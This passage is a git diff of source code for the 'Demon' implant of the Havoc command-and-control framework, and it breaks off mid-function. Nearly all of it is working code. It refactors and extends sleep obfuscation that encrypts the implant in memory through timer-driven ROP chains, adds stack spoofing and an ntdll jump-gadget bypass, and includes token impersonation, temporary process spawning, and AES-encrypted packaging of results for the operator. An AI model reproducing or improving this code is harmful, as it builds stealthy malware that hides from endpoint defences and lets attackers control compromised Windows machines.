HANDLE Timer = { 0 }; + HANDLE ThdSrc = { 0 }; + HANDLE EvntStart = { 0 }; + HANDLE EvntTimer = { 0 }; + HANDLE EvntDelay = { 0 }; + HANDLE EvntWait = { 0 }; + UCHAR Buf[ 16 ] = { 0 }; + USTRING Key = { 0 }; + USTRING Img = { 0 }; + PVOID ImgBase = { 0 }; + ULONG ImgSize = { 0 }; + CONTEXT TimerCtx = { 0 }; + CONTEXT ThdCtx = { 0 }; + CONTEXT Rop[ 13 ] = { 0 }; + ULONG Value = { 0 }; + ULONG Delay = { 0 }; + BOOL Success = { 0 }; NT_TIB NtTib = { 0 }; NT_TIB BkpTib = { 0 }; - NTSTATUS NtStatus = STATUS_SUCCESS; - DWORD Inc = 0; + NTSTATUS NtStatus = { 0 }; + ULONG Inc = { 0 }; + LPVOID ImageBase = { 0 }; + SIZE_T ImageSize = { 0 }; + LPVOID TxtBase = { 0 }; + SIZE_T TxtSize = { 0 }; + ULONG Protect = { 0 }; + BYTE JmpBypass = { 0 }; + PVOID JmpGadget = { 0 }; + BYTE JmpPad[] = { 0xFF, 0xE0 }; - LPVOID ImageBase = NULL; - SIZE_T ImageSize = 0; - LPVOID TxtBase = NULL; - SIZE_T TxtSize = 0; - DWORD dwProtect = PAGE_EXECUTE_READWRITE; + ImageBase = TxtBase = Instance->Session.ModuleBase; + ImageSize = TxtSize = Instance->Session.ModuleSize; + Protect = PAGE_EXECUTE_READWRITE; + JmpBypass = Instance->Config.Implant.SleepJmpBypass; - ImageBase = Instance.Session.ModuleBase; - ImageSize = Instance.Session.ModuleSize; - - // Check if .text section is defined - if (Instance.Session.TxtBase != 0 && Instance.Session.TxtSize != 0) { - TxtBase = Instance.Session.TxtBase; - TxtSize = Instance.Session.TxtSize; - dwProtect = PAGE_EXECUTE_READ; - } else { - TxtBase = Instance.Session.ModuleBase; - TxtSize = Instance.Session.ModuleSize; + if ( Instance->Session.TxtBase && Instance->Session.TxtSize ) { + TxtBase = Instance->Session.TxtBase; + TxtSize = Instance->Session.TxtSize; + Protect = PAGE_EXECUTE_READ; } /* create a random key */ @@ -408,41 +388,44 @@ BOOL TimerObf( Buf[ i ] = RandomNumber32( ); } + /* set specific context flags */ + ThdCtx.ContextFlags = TimerCtx.ContextFlags = CONTEXT_FULL; + /* set key pointer and size */ Key.Buffer = Buf; Key.Length = Key.MaximumLength = sizeof( Buf ); /* set agent memory pointer and size */ - Img.Buffer = ImgBase = Instance.Session.ModuleBase; - Img.Length = Img.MaximumLength = ImgSize = Instance.Session.ModuleSize; + Img.Buffer = ImgBase = Instance->Session.ModuleBase; + Img.Length = Img.MaximumLength = ImgSize = Instance->Session.ModuleSize; if ( Method == SLEEPOBF_EKKO ) { - NtStatus = Instance.Win32.RtlCreateTimerQueue( &Queue ); + NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ); } else if ( Method == SLEEPOBF_ZILEAN ) { - NtStatus = Instance.Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ); + NtStatus = Instance->Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ); } if ( NT_SUCCESS( NtStatus ) ) { /* create events */ - if ( NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && - NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && - NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) + if ( NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && + NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && + NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { /* get the context of the Timer thread based on the method used */ if ( Method == SLEEPOBF_EKKO ) { - NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); + NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); } else if ( Method == SLEEPOBF_ZILEAN ) { - NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance.Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); + NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); } if ( NT_SUCCESS( NtStatus ) ) { /* Send event that we got the context of the timers thread */ if ( Method == SLEEPOBF_EKKO ) { - NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); + NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); } else if ( Method == SLEEPOBF_ZILEAN ) { - NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); + NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); } if ( NT_SUCCESS( NtStatus ) ) @@ -454,7 +437,7 @@ BOOL TimerObf( } /* if stack spoofing is enabled then prepare some stuff */ - if ( Instance.Config.Implant.StackSpoof ) + if ( Instance->Config.Implant.StackSpoof ) { /* retrieve Tib if stack spoofing is enabled */ if ( ! ThreadQueryTib( C_PTR( TimerCtx.Rsp ), &NtTib ) ) { @@ -469,28 +452,44 @@ BOOL TimerObf( } /* NtTib backup */ - MemCopy( &BkpTib, &Instance.Teb->NtTib, sizeof( NT_TIB ) ); + MemCopy( &BkpTib, &Instance->Teb->NtTib, sizeof( NT_TIB ) ); + } + + /* search for jmp instruction */ + if ( JmpBypass ) + { + /* change padding to "jmp rbx" */ + if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { + JmpPad[ 1 ] = 0x23; + } + + /* scan memory for gadget */ + if ( ! ( JmpGadget = MmGadgetFind( + C_PTR( U_PTR( Instance->Modules.Ntdll ) + LDR_GADGET_HEADER_SIZE ), + LDR_GADGET_MODULE_SIZE, + JmpPad, + sizeof( JmpPad ) + ) ) ) { + JmpBypass = SLEEPOBF_BYPASS_NONE; + } } /* at this point we can start preparing the ROPs and execute the timers */ for ( int i = 0; i < 13; i++ ) { MemCopy( &Rop[ i ], &TimerCtx, sizeof( CONTEXT ) ); + Rop[ i ].Rip = U_PTR( JmpGadget ); Rop[ i ].Rsp -= sizeof( PVOID ); } - /* set specific context flags */ - ThdCtx.ContextFlags = CONTEXT_FULL; - TimerCtx.ContextFlags = CONTEXT_FULL; - /* Start of Ropchain */ - Rop[ Inc ].Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx ); + OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx ); Rop[ Inc ].Rcx = U_PTR( EvntStart ); Rop[ Inc ].Rdx = U_PTR( INFINITE ); Rop[ Inc ].R8 = U_PTR( FALSE ); Inc++; /* Protect */ - Rop[ Inc ].Rip = U_PTR( Instance.Win32.VirtualProtect ); + OBF_JMP( Inc, Instance->Win32.VirtualProtect ); Rop[ Inc ].Rcx = U_PTR( ImgBase ); Rop[ Inc ].Rdx = U_PTR( ImgSize ); Rop[ Inc ].R8 = U_PTR( PAGE_READWRITE ); @@ -498,73 +497,74 @@ BOOL TimerObf( Inc++; /* Encrypt image base address */ - Rop[ Inc ].Rip = U_PTR( Instance.Win32.SystemFunction032 ); + OBF_JMP( Inc, Instance->Win32.SystemFunction032 ); Rop[ Inc ].Rcx = U_PTR( &Img ); Rop[ Inc ].Rdx = U_PTR( &Key ); Inc++; /* perform stack spoofing */ - if ( Instance.Config.Implant.StackSpoof ) { - Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtGetContextThread ); + if ( Instance->Config.Implant.StackSpoof ) { + OBF_JMP( Inc, Instance->Win32.NtGetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx ); Inc++; - Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory ); + OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) Rop[ Inc ].Rcx = U_PTR( &TimerCtx.Rip ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx.Rip ); Rop[ Inc ].R8 = U_PTR( sizeof( VOID ) ); Inc++; - Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory ); - Rop[ Inc ].Rcx = U_PTR( &Instance.Teb->NtTib ); + OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) + Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib ); Rop[ Inc ].Rdx = U_PTR( &NtTib ); Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) ); Inc++; - Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetContextThread ); + OBF_JMP( Inc, Instance->Win32.NtSetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &TimerCtx ); Inc++; } /* Sleep */ - Rop[ Inc ].Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx ); + OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx ) Rop[ Inc ].Rcx = U_PTR( NtCurrentProcess() ); Rop[ Inc ].Rdx = U_PTR( Delay + TimeOut ); Rop[ Inc ].R8 = U_PTR( FALSE ); Inc++; /* undo stack spoofing */ - if ( Instance.Config.Implant.StackSpoof ) { - Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory ); - Rop[ Inc ].Rcx = U_PTR( &Instance.Teb->NtTib ); + if ( Instance->Config.Implant.StackSpoof ) { + OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) + Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib ); Rop[ Inc ].Rdx = U_PTR( &BkpTib ); Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) ); Inc++; - Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetContextThread ); + OBF_JMP( Inc, Instance->Win32.NtSetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx ); Inc++; } /* Sys032 */ - Rop[ Inc ].Rip = U_PTR( Instance.Win32.SystemFunction032 ); + OBF_JMP( Inc, Instance->Win32.SystemFunction032 ) Rop[ Inc ].Rcx = U_PTR( &Img ); Rop[ Inc ].Rdx = U_PTR( &Key ); Inc++; /* Protect */ - Rop[ Inc ].Rip = U_PTR( Instance.Win32.VirtualProtect ); + OBF_JMP( Inc, Instance->Win32.VirtualProtect ) Rop[ Inc ].Rcx = U_PTR( TxtBase ); Rop[ Inc ].Rdx = U_PTR( TxtSize ); - Rop[ Inc ].R8 = U_PTR( dwProtect ); + Rop[ Inc ].R8 = U_PTR( Protect ); Rop[ Inc ].R9 = U_PTR( &Value ); Inc++; /* End of Ropchain */ - Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetEvent ); + Rop[ Inc ].Rip = U_PTR( Instance->Win32.NtSetEvent ); + OBF_JMP( Inc, Instance->Win32.NtSetEvent ) Rop[ Inc ].Rcx = U_PTR( EvntDelay ); Rop[ Inc ].Rdx = U_PTR( NULL ); Inc++; @@ -574,12 +574,12 @@ BOOL TimerObf( /* execute/queue the timers */ for ( int i = 0; i < Inc; i++ ) { if ( Method == SLEEPOBF_EKKO ) { - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { PRINTF( "RtlCreateTimer Failed: %lx\n", NtStatus ) goto LEAVE; } } else if ( Method == SLEEPOBF_ZILEAN ) { - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance.Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { PRINTF( "RtlRegisterWait Failed: %lx\n", NtStatus ) goto LEAVE; } @@ -589,8 +589,6 @@ BOOL TimerObf( /* just wait for the sleep to end */ if ( ! ( Success = NT_SUCCESS( NtStatus = SysNtSignalAndWaitForSingleObject( EvntStart, EvntDelay, FALSE, NULL ) ) ) ) { PRINTF( "NtSignalAndWaitForSingleObject Failed: %lx\n", NtStatus ); - } else { - Success = TRUE; } } else { PRINTF( "RtlCreateTimer/RtlRegisterWait Failed: %lx\n", NtStatus ) @@ -605,11 +603,9 @@ BOOL TimerObf( PRINTF( "RtlCreateTimerQueue/NtCreateEvent Failed: %lx\n", NtStatus ) } - - LEAVE: /* cleanup */ if ( Queue ) { - Instance.Win32.RtlDeleteTimerQueue( Queue ); + Instance->Win32.RtlDeleteTimerQueue( Queue ); Queue = NULL; } @@ -654,10 +650,10 @@ LEAVE: /* cleanup */ UINT32 SleepTime( VOID ) { - UINT32 SleepTime = Instance.Config.Sleeping * 1000; - UINT32 MaxVariation = ( Instance.Config.Jitter * SleepTime ) / 100; + UINT32 SleepTime = Instance->Config.Sleeping * 1000; + UINT32 MaxVariation = ( Instance->Config.Jitter * SleepTime ) / 100; ULONG Rand = 0; - UINT32 WorkingHours = Instance.Config.Transport.WorkingHours; + UINT32 WorkingHours = Instance->Config.Transport.WorkingHours; SYSTEMTIME SystemTime = { 0 }; WORD StartHour = 0; WORD StartMinute = 0; @@ -682,7 +678,7 @@ UINT32 SleepTime( EndHour = ( WorkingHours >> 6 ) & 0b011111; EndMinute = ( WorkingHours >> 0 ) & 0b111111; - Instance.Win32.GetLocalTime(&SystemTime); + Instance->Win32.GetLocalTime(&SystemTime); if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute || SystemTime.wHour > EndHour ) { @@ -719,7 +715,7 @@ VOID SleepObf( VOID ) { UINT32 TimeOut = SleepTime(); - DWORD Technique = Instance.Config.Implant.SleepMaskTechnique; + DWORD Technique = Instance->Config.Implant.SleepMaskTechnique; /* don't do any sleep obf. waste of resources */ if ( TimeOut == 0 ) { @@ -728,8 +724,8 @@ VOID SleepObf( #if _WIN64 - if ( Instance.Threads ) { - PRINTF( "Can't sleep obf. Threads running: %d\n", Instance.Threads ) + if ( Instance->Threads ) { + PRINTF( "Can't sleep obf. Threads running: %d\n", Instance->Threads ) Technique = 0; } @@ -738,13 +734,13 @@ VOID SleepObf( case SLEEPOBF_FOLIAGE: { SLEEP_PARAM Param = { 0 }; - if ( ( Param.Master = Instance.Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) { - if ( ( Param.Slave = Instance.Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) { + if ( ( Param.Master = Instance->Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) { + if ( ( Param.Slave = Instance->Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) { Param.TimeOut = TimeOut; - Instance.Win32.SwitchToFiber( Param.Slave ); - Instance.Win32.DeleteFiber( Param.Slave ); + Instance->Win32.SwitchToFiber( Param.Slave ); + Instance->Win32.DeleteFiber( Param.Slave ); } - Instance.Win32.ConvertFiberToThread( ); + Instance->Win32.ConvertFiberToThread( ); } break; } @@ -761,9 +757,9 @@ VOID SleepObf( /* default */ DEFAULT: case SLEEPOBF_NO_OBF: {}; default: { SpoofFunc( - Instance.Modules.Kernel32, - IMAGE_SIZE( Instance.Modules.Kernel32 ), - Instance.Win32.WaitForSingleObjectEx, + Instance->Modules.Kernel32, + IMAGE_SIZE( Instance->Modules.Kernel32 ), + Instance->Win32.WaitForSingleObjectEx, NtCurrentProcess(), C_PTR( TimeOut ), FALSE @@ -775,7 +771,7 @@ VOID SleepObf( // TODO: add support for sleep obf and spoofing - Instance.Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE ); + Instance->Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE ); #endif diff --git a/payloads/Demon/src/core/ObjectApi.c b/payloads/Demon/src/core/ObjectApi.c index aba1c8c..d76fb06 100644 --- a/payloads/Demon/src/core/ObjectApi.c +++ b/payloads/Demon/src/core/ObjectApi.c @@ -20,7 +20,7 @@ PVOID LdrModulePebString( PCHAR ModuleString ) { PRINTF( "ModuleString: %s : %lx\n", ModuleString, HashEx( ModuleString, 0, TRUE ) ) - return Instance.Win32.GetModuleHandleA( ModuleString ); + return Instance->Win32.GetModuleHandleA( ModuleString ); } PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function ) @@ -31,12 +31,12 @@ PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function ) BOOL LdrFreeLibrary( HMODULE hLibModule ) { - return Instance.Win32.FreeLibrary( hLibModule ); + return Instance->Win32.FreeLibrary( hLibModule ); } HLOCAL LdrLocalFree( PVOID hMem ) { - return Instance.Win32.LocalFree( hMem ); + return Instance->Win32.LocalFree( hMem ); } COFFAPIFUNC BeaconApi[] = { @@ -223,7 +223,7 @@ PCHAR BeaconDataExtract( PDATA parser, PINT size ) */ BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID ) { - PCOFFEE Entry = Instance.Coffees; + PCOFFEE Entry = Instance->Coffees; if ( ! CoffeeFunctionReturn || ! RequestID ) return FALSE; @@ -268,24 +268,24 @@ VOID BeaconPrintf( INT Type, PCHAR fmt, ... ) va_start( VaListArg, fmt ); - CallbackSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg ); + CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ); if ( CallbackSize < 0 ) { PUTS( "Failed to calculate final string length" ) va_end( VaListArg ); return; } - CallbackOutput = Instance.Win32.LocalAlloc( LPTR, CallbackSize + 1 ); + CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize + 1 ); if ( ! CallbackOutput ) { PUTS( "Failed to allocate CallbackOutput" ); va_end( VaListArg ); return; } - if ( Instance.Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) { + if ( Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) { PUTS( "Failed to format string" ) MemSet( CallbackOutput, 0, CallbackSize ); - Instance.Win32.LocalFree( CallbackOutput ); + Instance->Win32.LocalFree( CallbackOutput ); va_end( VaListArg ); return; } @@ -299,7 +299,7 @@ VOID BeaconPrintf( INT Type, PCHAR fmt, ... ) PackageTransmit( package ); MemSet( CallbackOutput, 0, CallbackSize ); - Instance.Win32.LocalFree( CallbackOutput ); + Instance->Win32.LocalFree( CallbackOutput ); } VOID BeaconOutput( INT Type, PCHAR data, INT len ) @@ -345,7 +345,7 @@ VOID BeaconFormatAlloc( PFORMAT format, int maxsz ) if ( format == NULL ) return; - format->original = Instance.Win32.LocalAlloc(maxsz, 1); + format->original = Instance->Win32.LocalAlloc(maxsz, 1); format->buffer = format->original; format->length = 0; format->size = maxsz; @@ -365,7 +365,7 @@ VOID BeaconFormatFree( PFORMAT format ) if ( format->original ) { - Instance.Win32.LocalFree( format->original ); + Instance->Win32.LocalFree( format->original ); format->original = NULL; } @@ -387,7 +387,7 @@ VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... ) int length = 0; va_start( args, fmt ); - length = Instance.Win32.vsnprintf( NULL, 0, fmt, args ); + length = Instance->Win32.vsnprintf( NULL, 0, fmt, args ); va_end( args ); if ( format->length + length > format->size ) { @@ -395,7 +395,7 @@ VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... ) } va_start( args, fmt ); - Instance.Win32.vsnprintf( format->buffer, length, fmt, args ); + Instance->Win32.vsnprintf( format->buffer, length, fmt, args ); va_end( args ); format->length += length; @@ -430,7 +430,7 @@ BOOL BeaconUseToken( HANDLE token ) return FALSE; } - if ( ! Instance.Win32.SetThreadToken( NULL, hImpersonateToken ) ) { + if ( ! Instance->Win32.SetThreadToken( NULL, hImpersonateToken ) ) { return FALSE; } @@ -446,9 +446,9 @@ VOID BeaconGetSpawnTo( BOOL x86, char* buffer, int length ) return; if ( x86 ) { - Path = Instance.Config.Process.Spawn86; + Path = Instance->Config.Process.Spawn86; } else { - Path = Instance.Config.Process.Spawn64; + Path = Instance->Config.Process.Spawn64; } Size = StringLengthW( Path ) * sizeof( WCHAR ); @@ -467,18 +467,18 @@ BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo PWCHAR Path = NULL; if (x86) { - Path = Instance.Config.Process.Spawn86; + Path = Instance->Config.Process.Spawn86; } else { - Path = Instance.Config.Process.Spawn64; + Path = Instance->Config.Process.Spawn64; } if (ignoreToken) { - bSuccess = Instance.Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); + bSuccess = Instance->Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); } else { - bSuccess = Instance.Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo); + bSuccess = Instance->Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo); } return bSuccess; @@ -607,7 +607,7 @@ BOOL BeaconAddValue(const char * key, void * ptr) } // make sure the key doesn't already exist - KeyValue = Instance.CoffeKeyValueStore; + KeyValue = Instance->CoffeKeyValueStore; while ( KeyValue ) { if ( StringCompareA( KeyValue->Key, key ) == 0 ) { @@ -618,14 +618,14 @@ BOOL BeaconAddValue(const char * key, void * ptr) KeyValue = KeyValue->Next; } - KeyValue = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) ); + KeyValue = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) ); KeyValue->Value = ptr; StringCopyA( KeyValue->Key, key ); // store the new item at the start of the list - KeyValue->Next = Instance.CoffeKeyValueStore; - Instance.CoffeKeyValueStore = KeyValue; + KeyValue->Next = Instance->CoffeKeyValueStore; + Instance->CoffeKeyValueStore = KeyValue; return TRUE; } @@ -640,7 +640,7 @@ PVOID BeaconGetValue(const char * key) return NULL; } - KeyValue = Instance.CoffeKeyValueStore; + KeyValue = Instance->CoffeKeyValueStore; while ( KeyValue ) { if ( StringCompareA( KeyValue->Key, key ) == 0 ) { @@ -664,7 +664,7 @@ BOOL BeaconRemoveValue(const char * key) return FALSE; } - Current = Instance.CoffeKeyValueStore; + Current = Instance->CoffeKeyValueStore; while ( Current ) { if ( StringCompareA( Current->Key, key ) == 0 ) @@ -672,7 +672,7 @@ BOOL BeaconRemoveValue(const char * key) if ( Prev ) { Prev->Next = Current->Next; } else { - Instance.CoffeKeyValueStore = Current->Next; + Instance->CoffeKeyValueStore = Current->Next; } DATA_FREE( Current, sizeof( COFFEE_KEY_VALUE ) ); diff --git a/payloads/Demon/src/core/Package.c b/payloads/Demon/src/core/Package.c index 4c8b3cf..8b51d30 100644 --- a/payloads/Demon/src/core/Package.c +++ b/payloads/Demon/src/core/Package.c @@ -54,7 +54,7 @@ VOID PackageAddInt32( return; } - Package->Buffer = Instance.Win32.LocalReAlloc( + Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT32 ), LMEM_MOVEABLE @@ -71,7 +71,7 @@ VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt ) return; } - Package->Buffer = Instance.Win32.LocalReAlloc( + Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT64 ), LMEM_MOVEABLE @@ -90,7 +90,7 @@ VOID PackageAddBool( return; } - Package->Buffer = Instance.Win32.LocalReAlloc( + Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT32 ), LMEM_MOVEABLE @@ -111,7 +111,7 @@ VOID PackageAddPad( PPACKAGE Package, PCHAR Data, SIZE_T Size ) if ( ! Package ) return; - Package->Buffer = Instance.Win32.LocalReAlloc( + Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + Size, LMEM_MOVEABLE | LMEM_ZEROINIT @@ -132,7 +132,7 @@ VOID PackageAddBytes( PPACKAGE Package, PBYTE Data, SIZE_T Size ) if ( Size ) { - Package->Buffer = Instance.Win32.LocalReAlloc( + Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + Size, LMEM_MOVEABLE | LMEM_ZEROINIT @@ -158,10 +158,10 @@ PPACKAGE PackageCreate( UINT32 CommandID ) { PPACKAGE Package = NULL; - Package = Instance.Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) ); - Package->Buffer = Instance.Win32.LocalAlloc( LPTR, sizeof( BYTE ) ); + Package = Instance->Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) ); + Package->Buffer = Instance->Win32.LocalAlloc( LPTR, sizeof( BYTE ) ); Package->Length = 0; - Package->RequestID = Instance.CurrentRequestID; + Package->RequestID = Instance->CurrentRequestID; Package->CommandID = CommandID; Package->Encrypt = TRUE; Package->Destroy = TRUE; @@ -177,7 +177,7 @@ PPACKAGE PackageCreateWithMetaData( UINT32 CommandID ) PackageAddInt32( Package, 0 ); // package length PackageAddInt32( Package, DEMON_MAGIC_VALUE ); - PackageAddInt32( Package, Instance.Session.AgentID ); + PackageAddInt32( Package, Instance->Session.AgentID ); PackageAddInt32( Package, Package->CommandID ); PackageAddInt32( Package, Package->RequestID ); @@ -196,16 +196,16 @@ PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID ) VOID PackageDestroy( IN PPACKAGE Package ) { - PPACKAGE Pkg = Instance.Packages; + PPACKAGE Pkg = Instance->Packages; if ( Package ) { - // make sure the package is not on the Instance.Packages list, avoid UAF + // make sure the package is not on the Instance->Packages list, avoid UAF while ( Pkg ) { if ( Package == Pkg ) { - PUTS_DONT_SEND( "Package can't be destroyed, is on Instance.Packages list" ) + PUTS_DONT_SEND( "Package can't be destroyed, is on Instance->Packages list" ) return; } @@ -215,12 +215,12 @@ VOID PackageDestroy( if ( Package->Buffer ) { MemSet( Package->Buffer, 0, Package->Length ); - Instance.Win32.LocalFree( Package->Buffer ); + Instance->Win32.LocalFree( Package->Buffer ); Package->Buffer = NULL; } MemSet( Package, 0, sizeof( PACKAGE ) ); - Instance.Win32.LocalFree( Package ); + Instance->Win32.LocalFree( Package ); Package = NULL; } } @@ -254,7 +254,7 @@ BOOL PackageTransmitNow( Padding += 32 + 16; } - AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV ); + AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); } @@ -314,14 +314,14 @@ VOID PackageTransmit( } #endif - if ( ! Instance.Packages ) + if ( ! Instance->Packages ) { - Instance.Packages = Package; + Instance->Packages = Package; } else { // add the new package to the end of the list (to preserve the order) - List = Instance.Packages; + List = Instance->Packages; while ( List->Next ) { List = List->Next; } @@ -338,14 +338,14 @@ BOOL PackageTransmitAll( BOOL Success = FALSE; UINT32 Padding = 0; PPACKAGE Package = NULL; - PPACKAGE Pkg = Instance.Packages; + PPACKAGE Pkg = Instance->Packages; PPACKAGE Entry = NULL; PPACKAGE Prev = NULL; #if TRANSPORT_SMB // SMB pivots don't need to send DEMON_COMMAND_GET_JOB // so if we don't having nothing to send, simply exit - if ( ! Instance.Packages ) + if ( ! Instance->Packages ) return TRUE; #endif @@ -387,7 +387,7 @@ BOOL PackageTransmitAll( Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ); // encrypt the package - AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV ); + AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); // send it @@ -400,7 +400,7 @@ BOOL PackageTransmitAll( // decrypt the package 